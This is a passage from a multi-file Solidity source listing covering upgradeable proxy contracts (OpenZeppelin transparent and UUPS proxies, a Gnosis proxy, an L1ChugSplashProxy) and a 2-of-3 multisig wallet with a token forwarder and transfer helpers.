// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Changes the admin of `proxy` to `newAdmin`.
*
* Requirements:
*
* - This contract must be the current admin of `proxy`.
*/
function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {
proxy.changeAdmin(newAdmin);
}
/**
* @dev Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {
proxy.upgradeTo(implementation);
}
/**
* @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation. See
* {TransparentUpgradeableProxy-upgradeToAndCall}.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) public payable virtual onlyOwner {
proxy.upgradeToAndCall{value: msg.value}(implementation, data);
}
}
/**
* @dev Base contract for building openzeppelin-upgrades compatible implementations for the {ERC1967Proxy}. It includes
* publicly available upgrade functions that are called by the plugin and by the secure upgrade mechanism to verify
* continuation of the upgradability.
*
* The {_authorizeUpgrade} function MUST be overridden to include access restriction to the upgrade mechanism.
*
* _Available since v4.1._
*/
abstract contract UUPSUpgradeable is ERC1967Upgrade {
function upgradeTo(address newImplementation) external virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {
_authorizeUpgrade(newImplementation);
_upgradeToAndCallSecure(newImplementation, data, true);
}
function _authorizeUpgrade(address newImplementation) internal virtual;
}
abstract contract Proxiable is UUPSUpgradeable {
function _authorizeUpgrade(address newImplementation) internal override {
_beforeUpgrade(newImplementation);
}
function _beforeUpgrade(address newImplementation) internal virtual;
}
contract ChildOfProxiable is Proxiable {
function _beforeUpgrade(address newImplementation) internal virtual override {}
}
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*/
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is ERC1967Proxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.
*/
constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
/**
* @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}.
*/
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
// Kept for backwards compatibility with older versions of Hardhat and Truffle plugins.
contract AdminUpgradeabilityProxy is TransparentUpgradeableProxy {
constructor(address logic, address admin, bytes memory data) payable TransparentUpgradeableProxy(logic, admin, data) {}
}File 4 of 7: WalletSimple
{"ERC20Interface.sol":{"content":"// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.7.5;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"},"Forwarder.sol":{"content":"// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.7.5;\nimport \u0027./TransferHelper.sol\u0027;\nimport \u0027./ERC20Interface.sol\u0027;\n\n/**\n * Contract that will forward any incoming Ether to the creator of the contract\n *\n */\ncontract Forwarder {\n // Address to which any funds sent to this contract will be forwarded\n address public parentAddress;\n event ForwarderDeposited(address from, uint256 value, bytes data);\n\n /**\n * Initialize the contract, and sets the destination address to that of the creator\n */\n function init(address _parentAddress) external onlyUninitialized {\n parentAddress = _parentAddress;\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }(\u0027\u0027);\n require(success, \u0027Flush failed\u0027);\n // NOTE: since we are forwarding on initialization,\n // we don\u0027t have the context of the original sender.\n // We still emit an event about the forwarding but set\n // the sender to the forwarder itself\n emit ForwarderDeposited(address(this), value, msg.data);\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is the parent address\n */\n modifier onlyParent {\n require(msg.sender == parentAddress, \u0027Only Parent\u0027);\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(parentAddress == address(0x0), \u0027Already initialized\u0027);\n _;\n }\n\n /**\n * Default function; Gets called when data is sent but does not match any other function\n */\n fallback() external payable {\n flush();\n }\n\n /**\n * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address\n */\n receive() external payable {\n flush();\n }\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external onlyParent {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }(\u0027\u0027);\n require(success, \u0027Flush failed\u0027);\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n}\n"},"TransferHelper.sol":{"content":"// SPDX-License-Identifier: Apache-2.0\n\npragma solidity \u003e=0.7.5;\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeApprove(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes(\u0027approve(address,uint256)\u0027)));\n (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));\n require(\n success \u0026\u0026 (data.length == 0 || abi.decode(data, (bool))),\n \u0027TransferHelper::safeApprove: approve failed\u0027\n );\n }\n\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes(\u0027transfer(address,uint256)\u0027)));\n (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));\n require(\n success \u0026\u0026 (data.length == 0 || abi.decode(data, (bool))),\n \u0027TransferHelper::safeTransfer: transfer failed\u0027\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes(\u0027transferFrom(address,address,uint256)\u0027)));\n (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));\n require(\n success \u0026\u0026 (data.length == 0 || abi.decode(data, (bool))),\n \u0027TransferHelper::transferFrom: transferFrom failed\u0027\n );\n }\n\n function safeTransferETH(address to, uint256 value) internal {\n (bool success, ) = to.call{value: value}(new bytes(0));\n require(success, \u0027TransferHelper::safeTransferETH: ETH transfer failed\u0027);\n }\n}\n"},"WalletSimple.sol":{"content":"// SPDX-License-Identifier: Apache-2.0\npragma solidity 0.7.5;\nimport \u0027./TransferHelper.sol\u0027;\nimport \u0027./Forwarder.sol\u0027;\nimport \u0027./ERC20Interface.sol\u0027;\n\n/**\n *\n * WalletSimple\n * ============\n *\n * Basic multi-signer wallet designed for use in a co-signing environment where 2 signatures are required to move funds.\n * Typically used in a 2-of-3 signing configuration. Uses ecrecover to allow for 2 signatures in a single transaction.\n *\n * The first signature is created on the operation hash (see Data Formats) and passed to sendMultiSig/sendMultiSigToken\n * The signer is determined by verifyMultiSig().\n *\n * The second signature is created by the submitter of the transaction and determined by msg.signer.\n *\n * Data Formats\n * ============\n *\n * The signature is created with ethereumjs-util.ecsign(operationHash).\n * Like the eth_sign RPC call, it packs the values as a 65-byte array of [r, s, v].\n * Unlike eth_sign, the message is not prefixed.\n *\n * The operationHash the result of keccak256(prefix, toAddress, value, data, expireTime).\n * For ether transactions, `prefix` is \"ETHER\".\n * For token transaction, `prefix` is \"ERC20\" and `data` is the tokenContractAddress.\n *\n *\n */\ncontract WalletSimple {\n // Events\n event Deposited(address from, uint256 value, bytes data);\n event SafeModeActivated(address msgSender);\n event Transacted(\n address msgSender, // Address of the sender of the message initiating the transaction\n address otherSigner, // Address of the signer (second signature) used to initiate the transaction\n bytes32 operation, // Operation hash (see Data Formats)\n address toAddress, // The address the transaction was sent to\n uint256 value, // Amount of Wei sent to the address\n bytes data // Data sent when invoking the transaction\n );\n\n event BatchTransfer(address sender, address recipient, uint256 value);\n // this event shows the other signer and the operation hash that they signed\n // specific batch transfer events are emitted in Batcher\n event BatchTransacted(\n address msgSender, // Address of the sender of the message initiating the transaction\n address otherSigner, // Address of the signer (second signature) used to initiate the transaction\n bytes32 operation // Operation hash (see Data Formats)\n );\n\n // Public fields\n mapping(address =\u003e bool) public signers; // The addresses that can co-sign transactions on the wallet\n bool public safeMode = false; // When active, wallet may only send to signer addresses\n bool public initialized = false; // True if the contract has been initialized\n\n // Internal fields\n uint256 private constant MAX_SEQUENCE_ID_INCREASE = 10000;\n uint256 constant SEQUENCE_ID_WINDOW_SIZE = 10;\n uint256[SEQUENCE_ID_WINDOW_SIZE] recentSequenceIds;\n\n /**\n * Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet.\n * 2 signers will be required to send a transaction from this wallet.\n * Note: The sender is NOT automatically added to the list of signers.\n * Signers CANNOT be changed once they are set\n *\n * @param allowedSigners An array of signers on the wallet\n */\n function init(address[] calldata allowedSigners) external onlyUninitialized {\n require(allowedSigners.length == 3, \u0027Invalid number of signers\u0027);\n\n for (uint8 i = 0; i \u003c allowedSigners.length; i++) {\n require(allowedSigners[i] != address(0), \u0027Invalid signer\u0027);\n signers[allowedSigners[i]] = true;\n }\n initialized = true;\n }\n\n /**\n * Get the network identifier that signers must sign over\n * This provides protection signatures being replayed on other chains\n * This must be a virtual function because chain-specific contracts will need\n * to override with their own network ids. It also can\u0027t be a field\n * to allow this contract to be used by proxy with delegatecall, which will\n * not pick up on state variables\n */\n function getNetworkId() internal virtual pure returns (string memory) {\n return \u0027ETHER\u0027;\n }\n\n /**\n * Get the network identifier that signers must sign over for token transfers\n * This provides protection signatures being replayed on other chains\n * This must be a virtual function because chain-specific contracts will need\n * to override with their own network ids. It also can\u0027t be a field\n * to allow this contract to be used by proxy with delegatecall, which will\n * not pick up on state variables\n */\n function getTokenNetworkId() internal virtual pure returns (string memory) {\n return \u0027ERC20\u0027;\n }\n\n /**\n * Get the network identifier that signers must sign over for batch transfers\n * This provides protection signatures being replayed on other chains\n * This must be a virtual function because chain-specific contracts will need\n * to override with their own network ids. It also can\u0027t be a field\n * to allow this contract to be used by proxy with delegatecall, which will\n * not pick up on state variables\n */\n function getBatchNetworkId() internal virtual pure returns (string memory) {\n return \u0027ETHER-Batch\u0027;\n }\n\n /**\n * Determine if an address is a signer on this wallet\n * @param signer address to check\n * returns boolean indicating whether address is signer or not\n */\n function isSigner(address signer) public view returns (bool) {\n return signers[signer];\n }\n\n /**\n * Modifier that will execute internal code block only if the sender is an authorized signer on this wallet\n */\n modifier onlySigner {\n require(isSigner(msg.sender), \u0027Non-signer in onlySigner method\u0027);\n _;\n }\n\n /**\n * Modifier that will execute internal code block only if the contract has not been initialized yet\n */\n modifier onlyUninitialized {\n require(!initialized, \u0027Contract already initialized\u0027);\n _;\n }\n\n /**\n * Gets called when a transaction is received with data that does not match any other method\n */\n fallback() external payable {\n if (msg.value \u003e 0) {\n // Fire deposited event if we are receiving funds\n Deposited(msg.sender, msg.value, msg.data);\n }\n }\n\n /**\n * Gets called when a transaction is received with ether and no data\n */\n receive() external payable {\n if (msg.value \u003e 0) {\n // Fire deposited event if we are receiving funds\n Deposited(msg.sender, msg.value, msg.data);\n }\n }\n\n /**\n * Execute a multi-signature transaction from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\n * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\n *\n * @param toAddress the destination address to send an outgoing transaction\n * @param value the amount in Wei to be sent\n * @param data the data to send to the toAddress when invoking the transaction\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n * @param signature see Data Formats\n */\n function sendMultiSig(\n address toAddress,\n uint256 value,\n bytes calldata data,\n uint256 expireTime,\n uint256 sequenceId,\n bytes calldata signature\n ) external onlySigner {\n // Verify the other signer\n bytes32 operationHash = keccak256(\n abi.encodePacked(\n getNetworkId(),\n toAddress,\n value,\n data,\n expireTime,\n sequenceId\n )\n );\n\n address otherSigner = verifyMultiSig(\n toAddress,\n operationHash,\n signature,\n expireTime,\n sequenceId\n );\n\n // Success, send the transaction\n (bool success, ) = toAddress.call{ value: value }(data);\n require(success, \u0027Call execution failed\u0027);\n\n emit Transacted(\n msg.sender,\n otherSigner,\n operationHash,\n toAddress,\n value,\n data\n );\n }\n\n /**\n * Execute a batched multi-signature transaction from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\n * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\n * The recipients and values to send are encoded in two arrays, where for index i, recipients[i] will be sent values[i].\n *\n * @param recipients The list of recipients to send to\n * @param values The list of values to send to\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n * @param signature see Data Formats\n */\n function sendMultiSigBatch(\n address[] calldata recipients,\n uint256[] calldata values,\n uint256 expireTime,\n uint256 sequenceId,\n bytes calldata signature\n ) external onlySigner {\n require(recipients.length != 0, \u0027Not enough recipients\u0027);\n require(\n recipients.length == values.length,\n \u0027Unequal recipients and values\u0027\n );\n require(recipients.length \u003c 256, \u0027Too many recipients, max 255\u0027);\n\n // Verify the other signer\n bytes32 operationHash = keccak256(\n abi.encodePacked(\n getBatchNetworkId(),\n recipients,\n values,\n expireTime,\n sequenceId\n )\n );\n\n // the first parameter (toAddress) is used to ensure transactions in safe mode only go to a signer\n // if in safe mode, we should use normal sendMultiSig to recover, so this check will always fail if in safe mode\n require(!safeMode, \u0027Batch in safe mode\u0027);\n address otherSigner = verifyMultiSig(\n address(0x0),\n operationHash,\n signature,\n expireTime,\n sequenceId\n );\n\n batchTransfer(recipients, values);\n emit BatchTransacted(msg.sender, otherSigner, operationHash);\n }\n\n /**\n * Transfer funds in a batch to each of recipients\n * @param recipients The list of recipients to send to\n * @param values The list of values to send to recipients.\n * The recipient with index i in recipients array will be sent values[i].\n * Thus, recipients and values must be the same length\n */\n function batchTransfer(\n address[] calldata recipients,\n uint256[] calldata values\n ) internal {\n for (uint256 i = 0; i \u003c recipients.length; i++) {\n require(address(this).balance \u003e= values[i], \u0027Insufficient funds\u0027);\n\n (bool success, ) = recipients[i].call{ value: values[i] }(\u0027\u0027);\n require(success, \u0027Call failed\u0027);\n\n emit BatchTransfer(msg.sender, recipients[i], values[i]);\n }\n }\n\n /**\n * Execute a multi-signature token transfer from this wallet using 2 signers: one from msg.sender and the other from ecrecover.\n * Sequence IDs are numbers starting from 1. They are used to prevent replay attacks and may not be repeated.\n *\n * @param toAddress the destination address to send an outgoing transaction\n * @param value the amount in tokens to be sent\n * @param tokenContractAddress the address of the erc20 token contract\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n * @param signature see Data Formats\n */\n function sendMultiSigToken(\n address toAddress,\n uint256 value,\n address tokenContractAddress,\n uint256 expireTime,\n uint256 sequenceId,\n bytes calldata signature\n ) external onlySigner {\n // Verify the other signer\n bytes32 operationHash = keccak256(\n abi.encodePacked(\n getTokenNetworkId(),\n toAddress,\n value,\n tokenContractAddress,\n expireTime,\n sequenceId\n )\n );\n\n verifyMultiSig(toAddress, operationHash, signature, expireTime, sequenceId);\n\n TransferHelper.safeTransfer(tokenContractAddress, toAddress, value);\n }\n\n /**\n * Execute a token flush from one of the forwarder addresses. This transfer needs only a single signature and can be done by any signer\n *\n * @param forwarderAddress the address of the forwarder address to flush the tokens from\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushForwarderTokens(\n address payable forwarderAddress,\n address tokenContractAddress\n ) external onlySigner {\n Forwarder forwarder = Forwarder(forwarderAddress);\n forwarder.flushTokens(tokenContractAddress);\n }\n\n /**\n * Do common multisig verification for both eth sends and erc20token transfers\n *\n * @param toAddress the destination address to send an outgoing transaction\n * @param operationHash see Data Formats\n * @param signature see Data Formats\n * @param expireTime the number of seconds since 1970 for which this transaction is valid\n * @param sequenceId the unique sequence id obtainable from getNextSequenceId\n * returns address that has created the signature\n */\n function verifyMultiSig(\n address toAddress,\n bytes32 operationHash,\n bytes calldata signature,\n uint256 expireTime,\n uint256 sequenceId\n ) private returns (address) {\n address otherSigner = recoverAddressFromSignature(operationHash, signature);\n\n // Verify if we are in safe mode. In safe mode, the wallet can only send to signers\n require(!safeMode || isSigner(toAddress), \u0027External transfer in safe mode\u0027);\n\n // Verify that the transaction has not expired\n require(expireTime \u003e= block.timestamp, \u0027Transaction expired\u0027);\n\n // Try to insert the sequence ID. Will revert if the sequence id was invalid\n tryInsertSequenceId(sequenceId);\n\n require(isSigner(otherSigner), \u0027Invalid signer\u0027);\n\n require(otherSigner != msg.sender, \u0027Signers cannot be equal\u0027);\n\n return otherSigner;\n }\n\n /**\n * Irrevocably puts contract into safe mode. When in this mode, transactions may only be sent to signing addresses.\n */\n function activateSafeMode() external onlySigner {\n safeMode = true;\n SafeModeActivated(msg.sender);\n }\n\n /**\n * Gets signer\u0027s address using ecrecover\n * @param operationHash see Data Formats\n * @param signature see Data Formats\n * returns address recovered from the signature\n */\n function recoverAddressFromSignature(\n bytes32 operationHash,\n bytes memory signature\n ) private pure returns (address) {\n require(signature.length == 65, \u0027Invalid signature - wrong length\u0027);\n\n // We need to unpack the signature, which is given as an array of 65 bytes (like eth.sign)\n bytes32 r;\n bytes32 s;\n uint8 v;\n\n // solhint-disable-next-line\n assembly {\n r := mload(add(signature, 32))\n s := mload(add(signature, 64))\n v := and(mload(add(signature, 65)), 255)\n }\n if (v \u003c 27) {\n v += 27; // Ethereum versions are 27 or 28 as opposed to 0 or 1 which is submitted by some signing libs\n }\n\n // protect against signature malleability\n // S value must be in the lower half orader\n // reference: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/051d340171a93a3d401aaaea46b4b62fa81e5d7c/contracts/cryptography/ECDSA.sol#L53\n require(\n uint256(s) \u003c=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,\n \"ECDSA: invalid signature \u0027s\u0027 value\"\n );\n\n // note that this returns 0 if the signature is invalid\n // Since 0x0 can never be a signer, when the recovered signer address\n // is checked against our signer list, that 0x0 will cause an invalid signer failure\n return ecrecover(operationHash, v, r, s);\n }\n\n /**\n * Verify that the sequence id has not been used before and inserts it. Throws if the sequence ID was not accepted.\n * We collect a window of up to 10 recent sequence ids, and allow any sequence id that is not in the window and\n * greater than the minimum element in the window.\n * @param sequenceId to insert into array of stored ids\n */\n function tryInsertSequenceId(uint256 sequenceId) private onlySigner {\n // Keep a pointer to the lowest value element in the window\n uint256 lowestValueIndex = 0;\n // fetch recentSequenceIds into memory for function context to avoid unnecessary sloads\n uint256[SEQUENCE_ID_WINDOW_SIZE] memory _recentSequenceIds = recentSequenceIds;\n for (uint256 i = 0; i \u003c SEQUENCE_ID_WINDOW_SIZE; i++) {\n require(_recentSequenceIds[i] != sequenceId, \u0027Sequence ID already used\u0027);\n\n if (_recentSequenceIds[i] \u003c _recentSequenceIds[lowestValueIndex]) {\n lowestValueIndex = i;\n }\n }\n\n // The sequence ID being used is lower than the lowest value in the window\n // so we cannot accept it as it may have been used before\n require(\n sequenceId \u003e _recentSequenceIds[lowestValueIndex],\n \u0027Sequence ID below window\u0027\n );\n\n // Block sequence IDs which are much higher than the lowest value\n // This prevents people blocking the contract by using very large sequence IDs quickly\n require(\n sequenceId \u003c=\n (_recentSequenceIds[lowestValueIndex] + MAX_SEQUENCE_ID_INCREASE),\n \u0027Sequence ID above maximum\u0027\n );\n\n recentSequenceIds[lowestValueIndex] = sequenceId;\n }\n\n /**\n * Gets the next available sequence ID for signing when using executeAndConfirm\n * returns the sequenceId one higher than the highest currently stored\n */\n function getNextSequenceId() public view returns (uint256) {\n uint256 highestSequenceId = 0;\n for (uint256 i = 0; i \u003c SEQUENCE_ID_WINDOW_SIZE; i++) {\n if (recentSequenceIds[i] \u003e highestSequenceId) {\n highestSequenceId = recentSequenceIds[i];\n }\n }\n return highestSequenceId + 1;\n }\n}\n"}}File 5 of 7: Proxy
pragma solidity ^0.5.3;
/// @title Proxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract Proxy {
// masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal masterCopy;
/// @dev Constructor function sets address of master copy contract.
/// @param _masterCopy Master copy address.
constructor(address _masterCopy)
public
{
require(_masterCopy != address(0), "Invalid master copy address provided");
masterCopy = _masterCopy;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
function ()
external
payable
{
// solium-disable-next-line security/no-inline-assembly
assembly {
let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, masterCopy)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) { revert(0, returndatasize()) }
return(0, returndatasize())
}
}
}File 6 of 7: L1ChugSplashProxy
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import { iL1ChugSplashDeployer } from "./interfaces/iL1ChugSplashDeployer.sol";
/**
* @title L1ChugSplashProxy
* @dev Basic ChugSplash proxy contract for L1. Very close to being a normal proxy but has added
* functions `setCode` and `setStorage` for changing the code or storage of the contract. Nifty!
*
* Note for future developers: do NOT make anything in this contract 'public' unless you know what
* you're doing. Anything public can potentially have a function signature that conflicts with a
* signature attached to the implementation contract. Public functions SHOULD always have the
* 'proxyCallIfNotOwner' modifier unless there's some *really* good reason not to have that
* modifier. And there almost certainly is not a good reason to not have that modifier. Beware!
*/
contract L1ChugSplashProxy {
/*************
* Constants *
*************/
// "Magic" prefix. When prepended to some arbitrary bytecode and used to create a contract, the
// appended bytecode will be deployed as given.
bytes13 internal constant DEPLOY_CODE_PREFIX = 0x600D380380600D6000396000f3;
// bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
bytes32 internal constant IMPLEMENTATION_KEY =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
// bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)
bytes32 internal constant OWNER_KEY =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/***************
* Constructor *
***************/
/**
* @param _owner Address of the initial contract owner.
*/
constructor(address _owner) {
_setOwner(_owner);
}
/**********************
* Function Modifiers *
**********************/
/**
* Blocks a function from being called when the parent signals that the system should be paused
* via an isUpgrading function.
*/
modifier onlyWhenNotPaused() {
address owner = _getOwner();
// We do a low-level call because there's no guarantee that the owner actually *is* an
// L1ChugSplashDeployer contract and Solidity will throw errors if we do a normal call and
// it turns out that it isn't the right type of contract.
(bool success, bytes memory returndata) = owner.staticcall(
abi.encodeWithSelector(iL1ChugSplashDeployer.isUpgrading.selector)
);
// If the call was unsuccessful then we assume that there's no "isUpgrading" method and we
// can just continue as normal. We also expect that the return value is exactly 32 bytes
// long. If this isn't the case then we can safely ignore the result.
if (success && returndata.length == 32) {
// Although the expected value is a *boolean*, it's safer to decode as a uint256 in the
// case that the isUpgrading function returned something other than 0 or 1. But we only
// really care about the case where this value is 0 (= false).
uint256 ret = abi.decode(returndata, (uint256));
require(ret == 0, "L1ChugSplashProxy: system is currently being upgraded");
}
_;
}
/**
* Makes a proxy call instead of triggering the given function when the caller is either the
* owner or the zero address. Caller can only ever be the zero address if this function is
* being called off-chain via eth_call, which is totally fine and can be convenient for
* client-side tooling. Avoids situations where the proxy and implementation share a sighash
* and the proxy function ends up being called instead of the implementation one.
*
* Note: msg.sender == address(0) can ONLY be triggered off-chain via eth_call. If there's a
* way for someone to send a transaction with msg.sender == address(0) in any real context then
* we have much bigger problems. Primary reason to include this additional allowed sender is
* because the owner address can be changed dynamically and we do not want clients to have to
* keep track of the current owner in order to make an eth_call that doesn't trigger the
* proxied contract.
*/
modifier proxyCallIfNotOwner() {
if (msg.sender == _getOwner() || msg.sender == address(0)) {
_;
} else {
// This WILL halt the call frame on completion.
_doProxyCall();
}
}
/*********************
* Fallback Function *
*********************/
fallback() external payable {
// Proxy call by default.
_doProxyCall();
}
/********************
* Public Functions *
********************/
/**
* Sets the code that should be running behind this proxy. Note that this scheme is a bit
* different from the standard proxy scheme where one would typically deploy the code
* separately and then set the implementation address. We're doing it this way because it gives
* us a lot more freedom on the client side. Can only be triggered by the contract owner.
* @param _code New contract code to run inside this contract.
*/
function setCode(bytes memory _code) public proxyCallIfNotOwner {
// Get the code hash of the current implementation.
address implementation = _getImplementation();
// If the code hash matches the new implementation then we return early.
if (keccak256(_code) == _getAccountCodeHash(implementation)) {
return;
}
// Create the deploycode by appending the magic prefix.
bytes memory deploycode = abi.encodePacked(DEPLOY_CODE_PREFIX, _code);
// Deploy the code and set the new implementation address.
address newImplementation;
